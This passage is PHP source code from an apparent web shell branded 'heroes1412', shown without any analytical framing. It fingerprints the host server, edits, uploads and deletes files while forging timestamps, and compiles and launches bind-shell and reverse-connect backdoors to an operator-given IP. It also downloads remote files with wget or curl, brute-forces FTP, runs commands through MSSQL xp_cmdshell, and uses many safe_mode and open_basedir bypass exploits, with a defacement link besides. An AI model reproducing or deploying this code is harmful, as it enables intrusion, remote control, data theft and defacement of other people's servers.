 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
 if($safe_mode) { $sysctl = '-'; }
 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
 else
  {
   $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
   if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
   if(empty($sysctl)) { $sysctl = '-'; }
   setcookie('sysctl',$sysctl);
  }
 }
 if(!isset($_COOKIE[$lang[$language.'_text129']])) {
 	$ust_u='';
 	if($unix && !$safe_mode){
 		foreach ($userful as $item) {
 			if(which($item)){$ust_u.=$item;}
 		}
 	}
 	if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
 	if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
 	if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
 	if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
 	if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
 	if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
 	if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
 	if(substr($ust_u,0,1)==",") {$ust_u[0]="";}

 	$ust_u = trim($ust_u);
 	}
 	else
 	{
 	$ust_u = trim($_COOKIE[$lang[$language.'_text129']]);
 }
 

 if(!isset($_COOKIE[$lang[$language.'_text130']])) {

 	$select_downloaders='<select size="1" name=with>';
 	if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
 	if($unix && !$safe_mode){
 		foreach ($downloaders as $item) {
 			if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
 		}
 	}
 	$select_downloaders .= '</select>';
 	if(substr($downloader,0,1)==",") {$downloader[0]="";}

 	$downloader=trim($downloader);

 }else {
 	$select_downloaders = $_COOKIE['select_downloaders'];
 	$downloader = trim($_COOKIE['downloader']);
 }
echo $head;
echo '</head>';
if(empty($_POST['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode('.', $_SERVER['SERVER_ADDR']);
$current_version = str_replace('.','',$version);
}
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=Black><tr><td class=main bgcolor=Black width=160><font face=Verdana size=1>'.ws(3).ws(3).'<b><font color=Red>o--[ heroes1412 ]--o</font></b></font></td><td class=main bgcolor=Black><font face=Verdana size=-2>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
if($unix)
 {
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?brute title=\"".$lang[$language.'_text123']."\"><b>brute</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ln title=\"".$lang[$language.'_text122']."\"><b>ln -s all</b></a> ".$rb;
 }
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?deface title=\"".$lang[$language.'_text121']."\"><b>deface vbb</b></a> ".$rb."<br>";

echo ws(2)."safe_mode: <b>";
echo (($safe_mode)?("<font color=#009900>ON</font>"):("<font color=#009900>OFF</font>"));
echo "</b>".ws(2);














echo "Open_Basedir: <b>";
if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=green>NONE</font></b>";}
echo ws(2)."Safe_Exec_Dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=green>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=green>ini_get disable!</font></b>";}
echo ws(2)."Safe_Gid: <b>";
if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
else {echo "<font color=green>ini_get disable!</font></b>";}
echo ws(2)."Safe_Include_Dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=Green>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=green>ini_get disable!</font></b>";}
echo ws(2)."Sql.safe_mode: <b>";
if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
else {echo "<font color=green>ini_get disable!</font></b>";}
echo "</b><br>".ws(2);













echo "PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=#DF0000>ON</font>"):("<font color=#009900>OFF</font>"));
echo "</b>".ws(2);
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=#DF0000>ON</font>"; } else { echo "<font color=#009900>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=#DF0000>ON</font>";}else{echo "<font color=#009900>OFF</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=#DF0000>ON</font>";}else{echo "<font color=#009900>OFF</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=#DF0000>ON</font>";}else{echo "<font color=#009900>OFF</font>";}
echo "</b><br>".ws(2);
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=#009900>NONE</font></b>";}else{echo "<font color=#DF0000>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if($ust_u){echo "<br>".ws(2).$lang[$language.'_text129'].": <font color=#DF0000>".$ust_u."</font>";};
if($downloader){echo "<br>".ws(2).$lang[$language.'_text130'].": <font color=#DF0000>".$downloader."</font>";};
if (!$all) {$all = 0;}
echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b>&nbsp;&nbsp; Total space: <b>".view_size($all)."</b>";
echo "</b><br>".ws(2);
echo "Server IP: [&nbsp;<font color=red>".gethostbyname($_SERVER["HTTP_HOST"])."</font>&nbsp;]";
echo "&nbsp;&nbsp;&nbsp;--&nbsp;&nbsp;&nbsp;Your IP: [&nbsp;<font color=yellow>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>&nbsp;]";
echo '</font></td></tr><table>

<table width=100% cellpadding=0 cellspacing=0 bgcolor=#333333>
<tr><td class=main align=right width=100>';
echo $font;
if($unix){
echo '<font color=White><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo '</td><td  class=main>';
echo "<font face=Verdana size=-2 color=#009900><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
 {
 $euserinfo  = @posix_getpwuid(@posix_geteuid());
 $egroupinfo = @posix_getgrgid(@posix_getegid());
 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
 }
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "</b></font>";
}
else
{
echo '<font color=White><b>Opera System :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo '</td><td class=main>';
echo "<font face=Verdana size=-2 color=#009900><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";

echo ws(3).$dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
$f = '<br>';
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
 {
 switch($_POST['what'])
   {
   case 'own':
   @chown($_POST['param1'],$_POST['param2']);
   break;
   case 'grp':
   @chgrp($_POST['param1'],$_POST['param2']);
   break;
   case 'mod':
   @chmod($_POST['param1'],intval($_POST['param2'], 8));
   break;
   }
 $_POST['cmd']="";
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
 {
   switch($_POST['what'])
   {
     case 'file':
      if($_POST['action'] == "create")
       {
       if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
       else {
        fclose($file);
        $_POST['e_name'] = $_POST['mk_name'];
        $_POST['cmd']="edit_file";
        echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#333333><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
        }
       }
       else if($_POST['action'] == "delete")
       {
       if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#333333><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
       $_POST['cmd']="";
       }
     break;
     case 'dir':
      if($_POST['action'] == "create"){
      if(mkdir($_POST['mk_name']))
       {
         $_POST['cmd']="";
         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#333333><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
       }
      else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
      }
      else if($_POST['action'] == "delete"){
      if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#333333><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
      $_POST['cmd']="";
      }
     break;
   }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
 {
 if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
 if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
 else {
 echo $table_up3;
 echo $font;
 echo "<form name=save_file method=post>";
 echo ws(3)."<b>".$_POST['e_name']."</b>";
 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
 echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
 fclose($file);
 echo "</textarea>";
 echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
 echo "<input type=hidden name=dir value=".$dir.">";
 echo "<input type=hidden name=cmd value=save_file>";
 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
 echo "</div>";
 echo "</font>";
 echo "</form>";
 echo "</td></tr></table>";
 exit();
 }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
 {
 $mtime = @filemtime($_POST['e_name']);
 if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
 else {
 if($unix) $_POST['e_text']=@str_replace("
","
",$_POST['e_text']);
 @fwrite($file,$_POST['e_text']);
 @touch($_POST['e_name'],$mtime,$mtime);
 $_POST['cmd']="";
 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#333333><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
 }
 }

if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
 cf("/tmp/bd.c",$port_bind_bd_c);
 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
 @unlink("/tmp/bd.c");
 $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
 $_POST['cmd']="ps -aux | grep bd";
}
if (!empty($_POST['php_ini1']))
{
 cf("php.ini",$php_ini1);
  $_POST['cmd']=" Da write xong php.ini thu? thu? coi di";
 }

 if (!empty($_POST['htacces']))
{
 cf(".htaccess",$htacces);
  $_POST['cmd']="Da write xong htaccess thu? thu? coi di ";
 }
  if (!empty($_POST['file_ini']))
{
 cf("ini.php",$sni_res);

  $_POST['cmd']="Try again :D";
 }
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
 cf("/tmp/bdpl",$port_bind_bd_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
 $_POST['cmd']="ps -aux | grep bdpl";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
 cf("/tmp/back",$back_connect);
 $p2=which("perl");
 $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
 cf("/tmp/back.c",$back_connect_c);
 $blah = ex("gcc -o /tmp/backc /tmp/back.c");
 @unlink("/tmp/back.c");
 $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
for($upl=0;$upl<=4;$upl++)
{
 if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
  if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
  else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
  @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
  or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
 }
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
 switch($_POST['with'])
 {
 case wget:
 $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
 break;
 case fetch:
 $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
 break;
 case lynx:
 $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case links:
 $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case GET:
 $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case curl:
 $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
 break;
 }
}
if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
 {
 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 if(!$connection) { err(3); }
 else
  {
  if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  else
   {
   if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);	}
   if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);	}
   }
  }
 @ftp_close($connection);
 $_POST['cmd'] = "";
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
 {
 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 if(!$connection) { err(3); $_POST['cmd'] = ""; }
 else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#333333><tr><td class=main bgcolor=Black><font color=#009900 face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
 @ftp_close($connection);
 }
echo $table_up3;
if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("dir -ao"); }
else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td class=main><b><div align=center><textarea name=report cols=121 rows=15 spellcheck='false'>";

function dozip1($link,$file)
{
   $fp = @fopen($link,"r");
   while(!feof($fp))
   {
       $cont.= fread($fp,1024);
   }
   fclose($fp);

   $fp2 = @fopen($file,"w");
   fwrite($fp2,$cont);
   fclose($fp2);
}
if (isset($_POST['funzip']))
{
dozip1($_POST['funzip'],$_POST['fzip']);
}
if(empty($_POST['root'])){
} else {
   $root = $_POST['root']; }




  $c = 0; $D = array();
  set_error_handler("eh");

  $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

  for($i=0; $i < strlen($chars); $i++){
  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";

  $prevD = $D[count($D)-1];
  glob($path."*");

        if($D[count($D)-1] != $prevD){

        for($j=0; $j < strlen($chars); $j++){

           $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";

           $prevD2 = $D[count($D)-1];
           glob($path."*");

              if($D[count($D)-1] != $prevD2){


                 for($p=0; $p < strlen($chars); $p++){

                 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";

                 $prevD3 = $D[count($D)-1];
                 glob($path."*");

                    if($D[count($D)-1] != $prevD3){


                       for($r=0; $r < strlen($chars); $r++){

                       $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
                       glob($path."*");

                       }

                    }

                 }

              }

        }

        }

  }

  $D = array_unique($D);




  foreach($D as $item)
  if(isset($_REQUEST['root']))
  echo "{$item}
";




  function eh($errno, $errstr, $errfile, $errline){

     global $D, $c, $i;
     preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
     if($o){ $D[$c] = $o[2]; $c++;}

  }

if($safe_mode)
{
 switch($_POST['cmd'])
 {
 case 'safe_dir':
  $d=@dir($dir);
  if ($d)
   {
   while (false!==($file=$d->read()))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if(!$unix){
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{
     $owner = @posix_getpwuid($uid);
     $grgid = @posix_getgrgid($gid);
     echo $inode." ";
     echo perms(@fileperms($file));
     printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo date("d.m.Y H:i ",$mtime);
     }
     echo "$file
";
    }
   $d->close();
   }
  else echo $lang[$language._text29];
 break;
  case 'test1':
  $ci = @curl_init("file://".$_POST['test1_file']."");
  $cf = @curl_exec($ci);
  echo $cf;
  break;
  case 'test4':
  if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  if($db)
   {
   if(@mssql_select_db($_POST['test4_md'],$db))
    {
     @mssql_query("drop table r57_temp_table",$db);
     @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
     @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
     $res = mssql_query("select * from r57_temp_table",$db);
     while(($row=@mssql_fetch_row($res)))
      {
      echo $row[0]."
";
      }
    @mssql_query("drop table r57_temp_table",$db);
    }
    else echo "[-] ERROR! Can't select database";
   @mssql_close($db);
   }
  else echo "[-] ERROR! Can't connect to MSSQL server";
  break;
case 'cURL':
   if(empty($_POST['heroes1412_curl'])){
} else {
$curl=$_POST['heroes1412_curl'];
$ch =curl_init("file:///".$curl."/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
echo "</textarea></CENTER>";

}
break;
case 'copy':

if(empty($snn)){
if(empty($_GET['snn'])){
if(empty($_POST['snn'])){

} else {
$u1p=$_POST['snn'];
}
} else {
$u1p=$_GET['snn'];
}
}
  $u1p=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp


$temp=tempnam($tymczas, "cx");

if(copy("compress.zlib://".$snn, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "".htmlspecialchars($tekst)."";
unlink($temp);
echo "</textarea></CENTER>";
}
break;
case 'ini_restore':
 if(empty($_POST['ini_restore'])){
} else {

$ini=$_POST['ini_restore'];
echo ini_get("safe_mode");
echo ini_get("open_basedir");
require_once("$ini");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
echo "</textarea></CENTER>";
}
break;
case 'glob':
function reg_glob()
{
$chemin=$_REQUEST['glob'];
$files = glob("$chemin*");


foreach ($files as $filename) {

   echo "$filename
";

}
}

if(isset($_REQUEST['glob']))
{
reg_glob();
}

break;
case 'zend':
 if(empty($_POST['zend'])){
} else {

$dezend=$_POST['zend'];
include($_POST['zend']);
print_r($GLOBALS);
require_once("$dezend");
echo "</textarea></p>";
}

break;
  case 'plugin':
  if ($_POST['plugin'] )
  {
$i = 0;
while ($i < 60000) {
    $line = posix_getpwuid($i);
    if (!empty($line)) {
        while (list ($key, $vl) = each($line)){
            echo $vl."
";
            break;
        }
    }
     $i++;
}

             }
			 
  break;
  
  case 'test14':
  $ioncube = @ioncube_read_file($_POST['test14_cmd']);
  echo htmlspecialchars($ioncube);
  break;
  case 'test15':
  $tmp = '';
  if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  elseif(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  else break;
  @unlink($tmp.'/result_test15.txt');
  @win_shell_execute("cmd.exe","","/c ".$_POST['test15_cmd']." > ".$tmp."/result_test15.txt");
  while(!file_exists($tmp.'/result_test15.txt')) sleep(1);
  $lines = @file ($tmp.'/result_test15.txt');
  if($lines) foreach ($lines as $line) { echo htmlspecialchars($line); }
  @unlink($tmp.'/result_test15.txt');
  break;
  case 'test16':
  $tmp = '';
  if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  if(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  else break;
  $name=$tmp."\".uniqid();
  $n=uniqid();
  $cmd=(empty($_SERVER['COMSPEC']))?'c:\windows\system32\cmd.exe':$_SERVER['COMSPEC'];
  win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c ".$_POST['test16_cmd']." >\"$name\""));
  win32_start_service($n);
  win32_stop_service($n);
  win32_delete_service($n);
  while(!file_exists($name)) sleep(1);
  $exec=file_get_contents($name);
  unlink($name);
  echo htmlspecialchars($exec);
  break;
  case 'test18':
  if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  if(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  else break;
  $name=$tmp."\".uniqid();
  $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  $res=$api->WinExec("cmd.exe /c ".$_POST['test18_cmd']." >\"$name\"",0);
  while(!file_exists($name)) sleep(1);
  $exec=file_get_contents($name);
  unlink($name);
  echo htmlspecialchars($exec);
  break;
  case 'test19':

if(Empty($test19) aNd Empty($_GET['test19']) aNd Empty($_POST['test19'])) diE("
".$karatonik);

if(!empty($_GET['test19'])) $file=$_GET['test19'];
if(!empty($_POST['test19'])) $file=$_POST['test19'];


if((curl_exec(curl_init("file:http://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../".$file))) aNd !emptY($file)) die("<B><br>Shell by heroes1412</B></FONT>");
elseif(!emptY($file)) die("Sorry... File ".htmlspecialchars($file)."doesn't exists or you don't have permissions");Beark;
case 'test20':
@ob_clean();
  $error_reporting = @ini_get('error_reporting');
  error_reporting(E_ALL ^ E_NOTICE);
  @ini_set("display_errors", 1);
  @ini_alter("display_errors", 1);
  $str=@fopen($_POST['test20_file'],"r");
  while(!feof($str)){print htmlspecialchars(fgets($str));}
  fclose($str);
  error_reporting($error_reporting);
  break;
case 'test21':
$filen=$_POST['test21_file'];
@fopen('srpath://../../../../../../../../../../../'.$_POST['test21_file'],"a");
if (file_exists($filen))
{
echo $lang[$language.'_text61'];
}
else
echo "Can't write file";

  break;
case 'test22':
       echo "PHP realpath() listing directory Safe_mode bypass Exploit

";
       if(!$dir){$dir='/etc/';};
       if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
       if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}

       if($realpath=realpath($dir.'/')){echo $realpath."
";}
       if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."
";}
       foreach($presets_rlph as $preset_rlph){
           if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."
";}
       }
       for($i=0; $i < strlen($chars_rlph); $i++){
          if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."
";}
          if($n_rlph<=1){continue;};
          for($j=0; $j < strlen($chars_rlph); $j++){
             if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."
";}
             if($n_rlph<=2){continue;};
      	     for($x=0; $x < strlen($chars_rlph); $x++){
                if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."
";}
                if($n_rlph<=3){continue;};
                for($y=0; $y < strlen($chars_rlph); $y++){
      	           if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."
";}
      	           if($n_rlph<=4){continue;};
      	           for($z=0; $z < strlen($chars_rlph); $z++){
      	              if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."
";}
      	              if($n_rlph<=5){continue;};
      	              for($w=0; $w < strlen($chars_rlph); $w++){
      	                 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."
";}
      		      }
      		   }
      	         }
              }
          }
       }
       echo "
 Generation time: ".round(@getmicrotime()-starttime,4)." sec
";
